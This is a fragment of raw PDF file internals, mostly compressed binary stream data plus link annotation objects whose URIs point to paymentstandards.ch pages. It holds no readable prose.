t2N.J5otx4e]/7BC&bcX`^ͤ;gט`S^ (/Iɘ\)1:Oc| Y!iks)n-K4QW2\0+B`ײlqnyh W;& Kmr6:þ¢mvbw-wƹguE]1ovTZ9Q%@ǻ1iW װ3Ky(GkumӒ <h Dlkqj9Ы.@a3|@q`ǯW ˖ Y_(aCD҈*kMAv4,Pܡhɒ~Ł-jXELoYA`Ⱥ0Ԥ+YxYb[ƽ +iVzީS?ӯU*Fɴ])%ÈE7ra̎yiYPtQYIJchJP>q,G){nKC +E59˚mlhD|R;k$(yoS%dhKC[WU=(2HMU2VȰ#CHb=U &' `To%:V ++9;Plbh,TQ]Mڵjx6\bp2ɿ\vt*kwC_**^䭢ϔaZE^T+}R + x' N;Zr˺AYEf}=t{8c84)]I(b{WAO ,gWR =Q۬.V +M{G{],^V^4v 9jLdNLH(vD$asmj'*Q] +ict/nq X/'8^]$]=3!0ݡZkǤO2 .ӉLr=-Q=:u=N]XT$153[cƭlH"{N]Uԗ\Iv y[m3ɔee,YDaBFaOuu _#IC=#pd1 +*ی $F@GHNFb3.r +wwUI=;а;N4cql/Wa?/+TT.yb"|zq#8ܩ9D{뱳 T޽ j6zeVOm̴{mcno궶n6`9^u[Z5mmxvjj}'n@d$> $P39 %i8"Zr!f*gIcA[=W;iYu~Fãʶk٪-8ˉ{ +HHpiyE۵uA^#7#$8sE4}~,!.8}ޅS%Ypmğ8u(EYB#E,2Wh3sbT2K\Ҙ6#CFEXBcCiֹ,",A]Աhv4d=2+Z  dB3ŚLgrX +"CTr +{ WwAǻpk,ݫzs-=^*E.$*IT5 +T֎ $>x8h-՜ٹ`{h/[vMB\μY20«Q=qg'* zJ5ԥ.xvd\q Y$Nxlي`xw8Ҕݱnd1bGAJ>I]U4x=逽i㰻(oe=^ +DЫdWRbkӑ$<̮;T24Dmu+G#2ИW;& Gzh.A,0ُlu*sNmb Q2& 8=B/0^yxx{w6CP;Bqzv7VqfI0nQyj`4d(RX44jB7$i(ٌpL3MCflKMCSSMC00}l?RAc`DR42p Н>k,G(#p7V|G;`lv'Wo6R 9G[_6U~A s+8ru,HDzKY7/"pYv31vX/)D%8T F/ewU=(.iBskQ\iʘ/D.cBS%#b`9&0׋."4iDbCe2s4E}Ɂ1u06x `Ha~e G]:/tSr›X[0;Ru/2ECdHcv1s?d`avdKo{5IgXEJuA9z~ʌIK{^W zc"x\9*5 Վ lg}3ڀ`s7sZ|5mxyj+>}'$5D[IF(q4joE'dOƣ1Ge<"fߌvPN\Zǯe8l2^>kdVa2|vsy9!qy YQ(>:(G`vQtpIgH6 tզAƅ.6,H2ܳ_|:/"[,_XJ}M23Xz̐zVx!.ҼsujDN_-._Vۮ7iOg3Q_6?ejTx +ߔX=kJYE/}N%~E- ):[(sxFf_~-L{7֧{I c!;dN[ݸDݲ7'V62;mfix!=erLo{)}GHD\wZ!^nҲ¸ݹQhʾx[L_|ᖭ3ݡvo@ӑmeB;ʈ/N83o!a{fr}j{FYݡ^(ZQ❽1Yʜj[GuǝdH# +s:uʾ? ;NܡONR#̭=-5뾞ZA>WA"`Q(R ֪Zӏ0}[3 0[k͉J6`a65LrV3 +kzX*EЃ/4f0K.3kbe$)Þ)/ع''٦jr)D8튪a+b7D;zK94#s +ka+y[It;^PI\/CWŒX!zvuJ*K +ax0421ޠl^n#2Ҍs0dkaĢFڒa>3h/MSs_Fy㙔񠾔d{!Dkq^MZ|<S[47`aժSݒ%Wr`J`װ-rt)BvEb^9c^H625.nMl> +stream +x]r7rWa\]ۉW>HI.l_%sK$e~'OyÓxٛ?/^]~q鳧Ϗ5u#GhuëvhkFۋǏG|ɟH5\T/_?~D$qSZt^^I^t՛;YpF}̷?:PǏ(bKhѺ^VfNۓ sw<'zeu*~AV887V ۫)7 >"O7jʣ:'HŁ'^)o~k߹Edupn1n_\A;A;ZY]ɿɵ?9Ɣ$]u赡_x_o"lxel!2n[[ލ)*u vϤAwwD$ZCںF-ׄīzs<\O77vTPn]2MZފ:ɶ.O#G m{ӴܪSY6]*˥lH=մmܶ5od|o}wkhU-n<@~in;l>WG =U*Lxw:/V .= %,|TWN?r8uj~9O_\ m ++4 !lRԄV\-gL~嶍3~Փ~ų1*+&#SG[)Kp7roj}C\䏕xbSήǚ'_]N^ߞ>r: RːgϨ^b BbӔfih!|Q WT7u(S.es<žKšoR:SpfA31f6cPnLq:8CnSvb s89]݈Y .%1rVOSĞ[s!rڱUDN:R5J/_JpLzN ,Vvsd2ڗB']GD|Au1]d;HlEcm*]T 6NLwFfKӄ#y0hpJG~ )JI8Kf=mTUB6Ez Z&FS;/ptA9&FPR uxfk~mƘd)(Ùqt2$(*b+LtS7v{^oi hCzLۥ +&8U nAƗ![1EѶ0+*ysk]jpFW i-Wr'l۫JL[IRUM?ȢWʲdD/kD""эe:e\9Sy'Rtt2TnBe\ +m*-J=[ qBg?kEA6=uy34FgM}n=bm$JPxvO8M$B(COOURb #() "$SqU2Ӿsp)?y*?|`r_o%fMg̜y(69ֿُt,710xEN@>C1 17v߇YmB:ƌrbZz!dKj + 0r%GpGbkN͋lY#.Jo0gۀ+MAINofa㺚g0MSx^-zo6DXPؐ@I-zb11O\:RUmetB̛ZY/ߚoRg?QDKg^]xa5^+R6ϣgLH?Xfj`<,`j4 +q̟nܨE_Jj!E+/7%EsB?׏(#EBLEy\Q!я!aMr^c(`RD,s=5X+ęݓ714̧06$ CP l)agHSDd2(^"qQ,'0rE ئ 66hQ 82ײI5L07m[95F47pX>jZd&*jEaZ:n3k|ƍ<Nھgq3og W+ &u)q5$cRK{_JI<zV8PKo]ц蛇wm6:ޅuo֢-t6۰c? iD~t_LmX; dp9*gKzy dEk:t S[6[KHκPKG|dq:j_\T9Qs6/\WQ!bnj'xAhP.LU4MdŐ; աU'QѬ{'?!^Ux{]iic9!lžXފ߾?"Tcoɴs\2YKU6ޛ7gFHU9[ +Xcd(xQ.@3 +U ;VFnGE/NoA4໫˛T`!pW&(]cwE7-] j+^]m(:+]m8:Z3AbF s14ҡMITZ@az6d؊QFq3 H!: |N֕\5Ƀpف}!h87MTd_dm8ZWx[C[bO^Q[㗗 )ڒxnɱY$mtrWG\L4c'SC9gxǴ-',fbMKqܲx@`5 V5ǥU)#4r\6Mr΢q}U99XPa4laQbKT%MPD&8],+?-z?V: 't]/Ym(Ó"6,"7b[uh;m('ve,v'g8NTkDPwm%dzHgZ(4R$BQ[+,U,F큞VGi |_9ݎ!ocbtHYRH˯dq}kn rXݲ"'׆-J}D޴NSI-ԴM +sVkv&v5^YB8HJrq>)_uܻ# + N""ft0[xǫ g[km@¥N +԰$cK>#Ӵ idFa'r<M?NV'Ad?>f,pX?N`361VŌf`0cSO)#`Q֗$H*A%ΞuA;&qn1r LG[4zȣp4D{p<*H,*ÎWU18?GN;Ahp @^[#3Fi2n`;< DT_'0}Wr8Kȴ`oQ|MZ#DN6v?wdr|چksIF?r J.R76cYK04 iL۽&m!TmoKFdT%SYR(Is&F2 S]6;AT4K6ҕT+:AA<8f\b5Sw黰[֟JZ{w^I1$2x:ވE^c\>GˏǤwMVtTؕve5e h)d;/a3W&a]rjNa Z=˗p.sC?_b]AѨׂM9?ew6\]&m<5`NVplZwOޝۑʅ5UmoQˢve(ی v@qյ쩺,HKH~PCkT3 RCV{/֢Y!4 1;%ܞ_CR1pi֕sQٔmąfUBQD{Lx+D-Lx`*29,G`wu5$FR - @7t\7sHL;&̡dA~ΒFf-0?j~}`%[!@gp3s菥D" ;s\#X[' y zIZI }6K jϯ +jEUCͱ.E1?9/O`=IA@DiιDҫk= uY=L0t@@2CQ +* rC$WK 2*I dAQŢقM3Ț>U]6;/_@nY` ҕ% H]3..b\.tV'b^2prItʭ 3`0vÎw=(TlMas#d. X:wue(I6܏;,&+[yyҴulx7ȏ=svgmӨ {ǽZ5\xel(`p/ǽ4e @qYeq +ϟ]clDXY%(0p +؉?SKQK +xa8`ƽ~&'jwVA_j+6?עid&u$:3νխBVxŨ'^^`q1ID*粼"A[Q(:uZ$, vEE$exDƔ݉jWt>%ᥨ)YX+.Xl.Vڢ4[[QʘڼkQ % 5Y,%6ajrQ$K^DxfGD+IKwg SY-Uƒ]p.i+î@VQs}ɀu e篺D(#]z+#,dUH>ܩ`:9&Dɴm$  VV^48=oobDеoEPe6]K/"+Aiv;׭uau;ݙYGjT-(KxyMڪU ٠~n-pc + -7 +@SF nRE\}9{]8]ćFmvDoz9oc(ٌQF+wh崰4T4-BYW8+*ᛝRw[ +A7˸|;P~Z~]z{sYs aP:2.୹} Მ4 L0%B" +uE-ZYIJMSFtʼ7b)1CS+`ԭX+/1YzE&Iq$B0qlw +dqV=uw/\Fι³L_\>LMw,?<%M !Cڹ$<*nҘ=tnkbu>Aؚ杋[?{潉S1SL=1V͘BҞWptHL$^"acM"00cъyG+&Z +ZVs> +stream +x=r7wETxUFHքmٖv`HYIM{/8|fQ:LU D"_<ݽ<;߭>׋7\<ɫgo.nOOWϾxQYJ֫r%/JR*_^<~Zm?z'_USHz} +^TԓWPW4zkG?W_V_?ʆOY6(WE׳WٜZ_lN +~WnsR6r×˭6+|uyk6A~wm㗻;4~w *&' + p)h7{Dҭ8gA,NM݂]q)Bb0DS|:mumsLZ 4dŋ|q*0>LhY6ڌԬfYYUD5EMϕZ= $it;GF/>kjYH c&f%/CQVe|*/`lN4c*jXYp.kzw/Ƥ\h@-*yCh:{{ոS,4 DM~)R"Qɕ'lGh(hz=/XnTyk>0dHˡͲTFyGcn5 +~~lnζmOoζoWۓ_o6H!CT~&i$D]0;!5M%ǔnUe$mHHLCKxfF-ȵ_.ύqћȞ"X!!/HPhf31V +zH}cAR7t$@/yUׂqx6_I}˜%j% +b CM h񬫆t~z$& NJSВa 99N[eF$S8 dLv9cLO`Eo1e.:AAb%d17+g%':9WU񲚦.cyҗײ(ƫ qbeE#9]dL&ּDB m)&$,P2;Y0B,剕`P!& &E* +;iw FoVSH(83譚 LClɆ>NP[e5?txI$i] '5{_ZQ}aєsGu)X4=<*(m+ 4z*-% +zK4Ǐ^u&M\U3q5Pa^Ǎ;@p>;6L(Fm\!jTf5:lʲsq55^|10϶/o[y!;Q=wo+E,"V$̫F'%aBEǢe8-9MT/h:ai'rz作Vb@. !DH5h%Zk=oWkb ϗ O1G'ѧPثĞ(Ǯ$ _駯sJܫog{ MɍTوЁU$:)95;ACkf#cx;O&a7:E#kܦ#9ECmThwKCfMV +&4~YdV.!(! oǰQ:DʄQ^sY^GnE~arr}{<#OJ@]4ojU@ g$ iǖ40hJ=ԃt.эxIf?bƙ0^`+,?oRe#?%ɤ2qXZ=NYꛋ;D5b%ӘFIrPl# +wfB +}43(6>[Bƒ, +$y>$,_BܬuMmRI3sf` \S !@ T򹼌i0$Փ^.ktj2,˥1UG D,Z/=SB(FYa(Ƚݰ0c;F5Ք_5TfT#9bEa/pzq8?\!1 +b}w9Q"iNQ1'@o(pwgf-ט1!gv. BLDP6o༞p̦ʎM)%̈́ GldGF NSJ*>HMy?R*~] J.zyf2ā*AD [˾4LgTj1 5QB` U%y +3J|fU(%FWy-qʎ[U~2JbknO)#18|HMdu&Ηc*3jWlԚ0sT>&Tdap" {\m 9*?΀.sM %з"=Moi*̔H?fB70M/5 1Eԫg#~E/< +ő0_B6y9q|H3Q(I&O\ȃ~ BPʎu-)fŅj*z׏W*oy[GiJIKL@C~f{6KXX"C"(!p("@̥;$+E^~qrӬڡ~$gL2ERA@!xMy8AW("5޹Sb:6lN6N{[XR/'5y@rg6xt3ѧTAhX*siԉy$xywy%xU+,W0 c +B|iܹ\$8qQA@m~t7LWluyylߵ˞=vk^{k}a5 H%I^W(.qphkxU ɣ +CUwLs<> ޕt6Վ9O[^\pt nD;-yUwU7xʱ?CGm[*jafiZ^M9Aj d_ɧCCqm^?vJ;<5a̤ dfaA!m0?`qpߘEo 3 -*ƒq +CYĸz:#:VE$KO$\qL=A•Ba~E10<{lԵaxϗk"7B^~4>x!Y^Mbrl"Mt81G7q\>{󦏻q\{ ~А{3"伌*+gyC +}#ޥ$C>|d2=:7o}+zGeɿ,[Y>}vzY~y*?7ÿ<=gOO3;QӦ{ [X +OOsj0`Ueh܁O>+5삃YYi}v#Rڷt+kA6ҰF c4 `9:}UEzGHsyѳ`e`3pG]0SGH<^F@;0Pvv=`wUz OL/MU\S؟@bmR]@D[ b9eU=皋3RE״rʓiAUi副^ޝrܝ?Z dRX-~ԼoO!󞔠*7[b1G2f[\ե6GE.گgUtu*T3Kmud}]7dݮdnNv]}n^nW߆%Vljuҹ#nJXdLe`Bf0A(Si17ˣaZdq*5+x3ݎՈ د<:;zj Sk@f*8 f>>ǫ_{tI`yVn1X1( ڼmKO(Yڷ z96dgl|d%esSUT_ڽm,I1_I}uZ-yS[X}9`#+.MǴN3Q4FZO[YUaeDBxf[}Yl i`LL82FLj)1^ nm`ۋ0L\Y1&p׬3{N]>3a˺ЂKraN_& Gp2{H @Yܾhxymge. #1xtN2A{SHb @j #k Cfܨ1@J-DaLp\mݱ1J"x7Xыao[5{"h#Pc8c\x_?$w`C)ŔGv$:hv Ek~{W|-<8oJZGt{m;v୛XSe#K;BN͎ά$qE g39GNnlc*,v%װ21IAƥ9IrѦO{<ԝlRJy Bu2Pqd̆)hw̥HƭZk('yx {l8z PCGX }xS2y4~gi DQp186G$1?o2 AyiOtmQ;]2"|ExMMɄ9'&qY/>] =fOI;Vىo`|s·nȗ>I6rOMJI e$٣[C)Ogöeb%c$# +ĥF05]IF- \Yӌ= x&,hXX{j*a=㦘`ʑGw(Og2 uQFN/d\FO'ۋC+`z^GG>E9@i׭Qf z{ 6;+[ w] 4up0 -탖u.5swA]眨:7'{<5;Nܶ01MP +wm+s?_2ߏ4G C$WҠ%}#9(J&8"-هe,'Sp,{x8- +YArE:Hv 'y`-+ +9nꠙChL γ\RF,T +endstream +endobj +318 0 obj +<< +/Length 5524 +/Filter /FlateDecode +>> +stream +x]r6wށ7gWw{=migRI]UI]U^?ΛX{gL$XE'eUD&2 v{G_}|_^~X]E?]?tvvoW߭W7D/^>8Xl-l/)A(.=^ 7S#O"qmMJsDIYO w{ܣtsvӪX55'EUgQQd_FgWq߯i]9Kͳ4n]ؐϭoNMyVNyʿCK-:9/ 6>e|fY/oV,^G}^41ȁ0 e0e5D>a8r3F@C_tG7Tj\7YGa8HZYU g('xǰTɐd{шk6S~vӗG A4X)1cϤ_L0Ldď_-z#)t_ZJVdiR}ʔ-$:۸Z/L{?C%P/k./e:U|0~-df{=D\R+=йڔE5nk+vZ)Lr$49L1i1V܈<7'ch,j'+z:,A-3;A`U5pگsK8_MrB>fw=r IэBg–q#LBزkߌcf^Qm*ʮQv"aH(<*7anB`i b$1^(AVbLI]ĺb*7Cp:x(+SphpŁ9u`՛CX><0Hv@ +{i +A,;DgːH6q?=#4:ңv_@^ԧ+&J1 L~h<[I|t TS:nQZ͛%ʖXd( Ϣ{f` Ź3@tϢjT#vʑmR+!hsR}U)h`D_Eqx_O#4`^]rXH'4[ +лW7sm◼%&ڋߗkJXÖ#ec"Kl4c:ɊF/"fcb_QCzo][P/Xr˼5W1fJGLӋmU"5&8/<8д3 MV7,b#Ȓ:.e[<3~%v=[GpŕR=TlA.&|+j*"hm JY xÔ_Jú+⊃rBST\C]Em=u.杠:0> ĘlZ8ne6ȸ!BWbUfK,4w^}d; +V3 %:( k K>.|.Pt +e +Nۛ-Gu8oNr+m9⳯0z=N9,ÉM- DC(f#hwN_@eͮ}aeAI7jF҆S m :=Q:5,f,. <gp)CrP{RK?ǢDq(3*G*QFb&FwI6{˲T'h]5 :`uq$!QԎQ㍢$yH;ݽhIJy1PTVfv:f}mOTSָSEC^AD`j KAAz:p/ H`_%fom\GaZh}Ed7&Vq +o UAձ ^ih+ƭ\UT_Z~tڴq/]J6 5F}[[(RDZ['3NnźE\^T.q'pm2, +5m,do=i9Cy>XAVihf;ۼ'BSUɆҚ +)R*pX#'p+R[zivV~*nbHjr{D]',hjY&5#/w#J{#z8­CЃ}|;Osytٽ{~ۆ ui™DЎ`[` X3A 3 :A{ܠP ^}ʣ6{ b!%.]b"J4t֠qވ zYImq<'O#}h ;4Dv >4DwP yhuh>m'%AZO$FRt- hj71hqx?ẏWi'/̲^1s[`-F!a6uHq$UR\+K3[j)x`J|F")0TVg&,MI4{'͎&?ԯj$:bwN*wCC\u(>\k\Ja| >F {1^oS1q^hE-^M(saV"00 JcF;/ IZS)!/ZmOo.dhh1KkKĻVL_;9Xs!V T= +M PkޙkpEdnqy*Paa:4=}0u ݁"RSH `ENEqbxp/ +dІ˧GI3#~I )$ ܥ{g1^ $TW[uԇKD*uwMɋ^<^Abs椹I֬k~Ƭα!ZpUܽOXlk)8hk9hs7c[/S kEۚL#lF\1ܻԂ!(/?Ԑ9ȡFȌ.f$#w͉EDt?6c[,ϜdAzWY_u+Bo[K,?t1DM,nr9#WH:F1NU;c~ 1}= O:5mS)wڣTTUX8!lx¦7 @dv a>  +VHe Ǻ<ҏiEsHCT$M4(hM紦($e +i + +./nҠŐ6 !/ 5k*s>DEQN.26 +n/", /'^_O!ޫD2(KCt&1V[yQ"/$n?D/5ߙG+ D1Jrr?F޹ +endstream +endobj +319 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 91 228 0] +/F 4 +/Rect [485.99 664.55 502.18 683.55] +/StructParent 207 +/Subtype /Link +>> +endobj +320 0 obj +<< +/Length 4991 +/Filter /FlateDecode +>> +stream +x]r7}WaLnEef0TbId˻䁦(&)&Hen 96(nt7Ч⇻f6%}wn7[\'/^mnxvqbv햛^e1^}}ã,JdI^) 8hrxt$GgO^=: %UJYg J)IɪՊ|U$osVU~~tzLL^SGg8֩,',Ң + bVs2i>YLɊ,&̦tۘLSßA~yu@Gd-N{obV,-K3%vZN6{pȝJ929(򈻙M|Ks2!4-7e0fal*p%JS5Dzz곾6w j<> >)D?/7S<e)-A31a%,- `Mz\8nYO.b9%: +V:FLiasޘؒKx189kZ11CYQs Ĵ~qHsPh +C@)lg`yʇ;=GxNtsIB<$TR1YUZq,yK9" ^gʓ7V-A_/dg[[JL\axBO8yc9.,˴tɺ%\|Y"6ҙʗxr#~4"/K r,,{\lʮc; +`w'/Y"v 6J#1j"%՟+JVז[Ss-ڲSMQ6o*ӺLS"^n#ky\Z 7t!,etjIś0 aN -qdzKcs`:g\M29ŭϤt +4[6uUz˳-tKJo JoX?.WǤn:CLXqX{ %1^G7r&H!ϰilgN]z*GŘOxr\*"e,xJf dsd!Y[GRhe/0%Bj/\?^o{+xC3s0SLP¼p Iye)k)N:/0bȭ1V;5(h!9\V)*կ6ҋOe1Γ4T0ðlS\+I ?8|^^(\bg]vZsc+lO ʝd)s'lrj̪a<8)NT伌+CFTmMuqj"Bœܝ/|C⮭F_S .K kk/;T~q/vE{7RJ\yZ] N`"#%z@W:%?ZԵ? kc2n{?c0AuJL%4j];fvE6ѷں{kOn}y9Ջ@ouP4h֋nVu!A_=/qGql.h:l-!3LV3X"&dGeܨ Zu[c=c௬T$FSyu'MDbK|bn}=y#9㔶їkS ݸG.c`ĆҺ  I[Y:eFYsZQ[˩sB8̠aw_2r *sd} jH{y𿲔q9p +~er?%(( qк'-x}J;D)F.~2͊~v*{BʴS_^0YwXe)v{JR Ep8.@jQXs)-%8A)6׶ M{3Z> /<CQOVXM $OC$}?X_w R t$C)kҜ:%s$ 9KEkx.N +J*s>gmv@G=.yoV,f G0EFE2ð_4@H+%60aLh*)B@!Ե{;L> zh>5gTRV4ypL8NLxLjp I885` Ãd1O6xFU0rdũZ tF Rq!ԛPڒn +mDZHۤݝ0'wՠ.b`91Ĝ.{68XS m%MdZ,C/WrՉD4?>:)a:y xɽi#cx "ՉcW[eHG}(1/GGIav)qǂ8>ݓ利'4s詭;,vGˊE]J(B68jccuvԪᑐ녣Dk:yhGI;h֬|@3k,׶]=쬣k@ IU:*z%%i< f!h)VNƋthSiN(JVG_5|Ցt,~jM$ЃoDӥQhukYuhzJiǩ~sk`1ks@xH3hebRլ)lcՑNbEa8 ÂeS/W@zP3fk#-P.xAq '>U4˜uHi;lM-Y<.8')MG T=0f0nA4c\9V.~ yNz$fLwFtč`GfR T?{;AUvI'#Qq!N*+ r5&Voh_MR7kD\+!eM(E(<|Z}&TReV*$U̪Yy,Ea[6P(@>H U{DZ 2:p'3 b"cV ^/FCq&3;l|UEu8d'ˇ +U5}Y'2C*\(y|kkv`mq*Hw73}'N|S+EKQH68p}Pqlxvq㸲 Dz0'Am96NJS> 9*8ZRaK\| aЊBI-fum +7wCܦhmk6b\w:Wx)N|~P:FCun(ĤZXQWx(FJ#dvzԲϼ3NAzr!V_85i YHzmjѴˡJߡ^q Or +8'kѴ2*}sk[ KNWG#zH{y:o,iP˘*GGKR-k> +/Dest [20 0 R /XYZ 40 529 0] +/F 4 +/Rect [317.61 613.89 348.94 626.89] +/StructParent 209 +/Subtype /Link +>> +endobj +322 0 obj +<< +/BS << +/W 0 +>> +/Dest [20 0 R /XYZ 40 529 0] +/F 4 +/Rect [351.74 613.89 417 626.89] +/StructParent 210 +/Subtype /Link +>> +endobj +323 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (http://www.paymentstandards.ch/) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [337.75 59.64 464.41 78.64] +/StructParent 211 +/Subtype /Link +>> +endobj +324 0 obj +<< +/Length 4555 +/Filter /FlateDecode +>> +stream +x]ْ}WN=;*idٓ{$(9fJ\Ei>A?G3^hcb pqq׃ z;ӳgh:rVF7h;[.^nҷd}~=q(MR_$J-<"K"ZO?_G_?~tDmR4GpTEFu&$^S߼ m8_-G? ?G'g6eBu&u"oa9f,.=Iwvw >;b D17bR~`9{Gv>y󁇔ѱ48E־.0 `֜~V +(.[ȥ>5zp{Llv6aL3AZ6;hm-d=h&~%hsQ'ux [gp1$=e&O +%yTiR ":v9{6sk6?%ucC@z= .yMAN4K+Hx:[E7ޢ!m;˪AF:xH NFK}A4"HhӄYӀ*.s4ɒFXJq!=>w}3kmyNa^ͼ}ل'Oͺs +zU>m}{L&fj54xɊ*5" ПCfw9LHXFj|gߍ7`^|ݗPPLE3{iϓv@I~ +qg19kNӆӀ1"b M\VVIEBhRH8$FGclg>'j.-!XliލA[YB$v1rE{K/d K0soM٩~5b),)9O($<:a藫]i > c"љ[9|= vaͧL0kV'i'KUD0zc>;HZkkZ4Y(\ ~/2:x>qe]*3Ư(}D E)ˮ=MӺ̴quHow=妀X?a'\4{xi 뵲F(k&;-W G@ġC[fGʞl,Rl,ؔHz[w7]Y ur_`8urcIM%4${z2<|T <gCne^Rpg +R$- BVgw-M}QS?dYs03 l]nkf0B 8\FT gam&P.yRv} F8.2kب11ތt>Y::bЍX22" ŵV-3" mc{-n'!*!>`I/%C{~r>EmE#QRw'Y*t5wx?+K@{g0ڿ'kzZ%m`/@wb}YѲ&Xb]ve:Sn07X, b}IWF'x=Oj!i `]Z8ibrex>`b !dPA|Z/-[M_NiꮙpQL3߻=ةCf?.- 0b!Jk)]O]e{ ay ܽ f6+#:3:P# ^dyyUY&)M۶>O!m J~@`^;.Oof!`;SǥCؓ#4"Pblt@lm ^8S XwXoKv*$صb׃g- JЂ~c%oz|\;lsBKTe[N5T6v gz棏9ytfbHCT`xr<]CޠOw`T}LV4^7{)YAhu$^'ŵhS ӕ t͗BFڱL~q:k$_ V-,ZfB< a^ KzWA;'.yrŠBS[i!4NjHh%[9ʌMm|4cuHMs[c-* :s5l9tUU1Q] ;߫&6v=f{zؠaK0Q]{A%J~B\Jԥu*by)g9~=@LeIsEY]DLj)i''\ǯpDcX4}|XK^Ÿ𷤽WҜݯ^V.ؽ3_ɟw NM_`9:'Dkuڥ \hQFuFoc5W5V2F>,T +Zbˤ~КK ֈ10S۸X/k9VLhUh/Sz؋2rw7źgGP< |i ʀeis4GdZXf/-orR #6J63lmUScAFEzX)Z/,cDxg͑YѵIՙ֍]hWe=.$mqB0h/i;Rob\łatXѫXYwJb8 g %ȂotJ1:RA +wVAo,waS sUGfv¿ǝ +ΪWYkT:^lģK&kml]cjTvkdX'ױlN*|H-sˬNNW16a_/dkaVC&RQu?RjI#ڒ>$x`U?5֬e/:MRݽ3ws/F1J8z E8'2d5um&~oXa$ ]|2Ԡ:e i"9}yoib?1?V3=XNUg1[ Z+'ȵVҥv>l QKv՛$W;Eo!@tz<凟2B2K~Xʊ利1أ(Kt5LJŞOUō;(`}eەHs!w 7!ei] +I.Rޤ"JNQЭ+TU\RwaZB)`Џ~*]+0g4Uଜ_˖v'>iڑ!#f2kO:,Wˍ C),*hZk" #X>íY]ͪI!\ykE +DT`zw-6̖OO({Ym.oķ+ԯJǘaѝ4B`Yz*LJўE1N1_\!͚lo1UV4InFAc +endstream +endobj +325 0 obj +<< +/BS << +/W 0 +>> +/Dest [65 0 R /XYZ 82 728 0] +/F 4 +/Rect [198.85 676.64 244.65 689.64] +/StructParent 213 +/Subtype /Link +>> +endobj +326 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (http://www.paymentstandards.ch/) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [242.07 625.64 368.74 644.64] +/StructParent 214 +/Subtype /Link +>> +endobj +327 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid/alternative-procedures.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [125.35 246.39 361.89 265.39] +/StructParent 215 +/Subtype /Link +>> +endobj +328 0 obj +<< +/Length 4277 +/Filter /FlateDecode +>> +stream +x\r6߁w;M Ad<8Nd7mݝi{!+XRDI)˺O8$YAo3" qz3L7ѓ'GO7藣귣O|1̗7ۋ \a6y;[GϞD$?UHFE]$yU4KRg.Z<;?<8zA:Ut~yxӈD$EE׼ooW-}x(~xp_|M[/a2MIE +%ag81,kYxF6pq.[L’Kvv@51!~0N7GкJ|^$Ynr F? +NF^%wQI\`>ggyBn&e38J) MCY'z{ ,W7^gqT6y60!t>)D"ϓ%|RA$g| cQEi2lzN_DGl,r h dPw6xBE^&5N3qZ{_/ 38<8+hgմpo/gMr9kr^="E~qfLzi)EKÕ,׳e6ȸ3Wo4)<$8j?%I*7˶%9Op1Fd vmЩ1XݯI) + Ĕ"V'5Ë0xqгՌeHެ& (=z9Y\E8`@ґ +Z<Gr#!i4yrdb;w[I*ZZ}copx;I+1YύP]E cvs#5cl( +;SC`՞Tr ۏ*)Y6 CZjp߹jڒq͑Vjko 2^@Vn'\Ð[0,+8qCVbc ?1ι+RΒ*G0Ŏs5y3-+Q:KGZkX[%ZB$plq-P8_G#r1f71՚BN֟%W2IІHXfAS44R\ oi)_48iu<.Z ĵ2lWOWqNk;].H1sOP9fЏ` ˝w D65~欖D^qibYQ*XZQ.\Ʒ #Kh7i,ydM_"Yb Z.fzf|H̥; mʼ4WEitҁL/7R\o 󸨄C8Cť]\撕H +0,$ +Lt*\F ࢕Jj|M.Zgޞ[Y;|c3ҡ4Mh6\^_o?|*Y)ɳF _pid#,a-lp R{z,j +y"218 +]UHZ "^e& I9~hDsJ}}OPROoQ. cn( +&pF^ ~\잹b̊FT]f*@p rZ [MЊ$R-i@wxH o0ZOw({ytmFD +B'Dw8FJ:])7xh]%|f Xa/Ե +y(u zEںejE)ͤHMq5!/l=r-3>fteS=U%:ֳz?|C3&=%@ס}u4WjkcBl "4!`jz"RG X4{4c%i-PnH+kp3FvLoAڙZt&Ǚ tޡL?"b)uB81B>q]ISTL3taE2>*Ht€HޙP[; +:gl-CW$1E8j̲Cߺk4풶iò-hy'< d)έK{~y)*6}C.KDǏa7&4PcAZlXVx +L(0dgp!p0+U./T޸]"b9[*6LhIT1&4j6]̫ @Sb.lE: eRtl81SaRVy SpY4x6Te#0x6TŎ@L .XҀ= +*KQ ;q/ڥ|:KECh|0 F7n7PɾٙWs6teX!k>\`F+0v-+#knX̯K {Vns!v6N0+[~Tr*߫"a޾ך&s[ _&eEe>:{6T._KϗqaDY%ҋ6}UtsB Eo ǂFcEn2:V͑?z. QQԹ{@bsW*6wu|< +\ՠV0~$û;{76T慚H +9*G96HA%@0mf/4SSPk_UτP26`$ y-;6rjrC,_ niWe"Ԧgzok?Y;W.aVVyF6h?'uBw\}k2z$Rye5PEPT*Uћ$xFm>t z]gUn#OI盭ȫ/jsȧ#iF5bb\JYwhjߜ#Kf.L~%黸DhYE[k.[Q:u1ߍ'rkWB=mWŖG[XJIPe,$}e#T lZ Vk34۩GT648) r^hղJs(GJ:@ajG 0puП*1/jgJd.v)rU Ĥ0{yQfW-^#όxZ*‡)e{@5`_\ᔧL(>܅Gܗ޽#.h 8-/p[tnzAUN^Ne}7u< Ocx3@R̯{x?-tv9+5@gX4z ?8 ^>{s'KBӳSx+xKќ~^Fl ԪD)Kn%+T륋ĥD֯uV"Uwm-<`cs|+)xWTtGw d!~y:V'KwFam@74 ~)dH& Q 0tkz3&,u GA{{L0m3vX+$@։@8V?18=-bd5X3:r~wNWɘUY[%-͹*lG!"}r2"Hb#Yh\^u+}] v#jNø_p_r6ɖ ԰Np}++=h⍐:w +endstream +endobj +329 0 obj +<< +/Length 3493 +/Filter /FlateDecode +>> +stream +x\_s6Bv*Ad:?JqckU]D"QR?B̽]݇ ]$HlQ뤊D,ⷻ"gf2͝OϞdyw6^~>]Nn$//9>=9{Eg39=!:<|(o3ހs/rmIU%~05d]|gb3FOl͕GϹ7|X§!Q1<Èoc7Z@W0ZY cn5 :ֶМr&6[ZLcֺKGOhq7$ۜ05|n|VaQ^}T$ǠHn7_`3|9kq9ϗy\{WeޣQsO>" sڻ .av@mܸvnOЯ#~ފ1?LܜO߹TtH}1\o@Kz#-}A""'vs•o"ԏku6YL윏1Ny|,Mpf>lɓ#~Ya \KKҔ+DM^(eI?nH\:M_"0*H E 